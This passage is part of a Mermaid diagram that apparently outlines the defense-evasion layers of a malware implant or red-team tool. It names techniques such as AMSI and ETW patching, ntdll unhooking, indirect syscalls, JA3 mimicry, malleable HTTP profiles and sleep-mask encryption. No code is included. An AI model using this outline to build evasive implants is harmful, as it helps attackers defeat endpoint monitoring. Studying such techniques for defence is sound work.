B[pe/strip sanitization]
C[CallByHash — no strings]
end
subgraph "Runtime Level"
D[HW breakpoint clear]
E[AMSI + ETW patched]
F[ntdll unhooked]
G[Indirect syscalls]
end
subgraph "Network Level"
H[uTLS Chrome JA3]
I[Malleable HTTP profile]
J[Certificate pinning]
end
subgraph "Memory Level"
K[Sleep mask encryption]
L[RW→RX cycling]
M[SecureZero cleanup]
end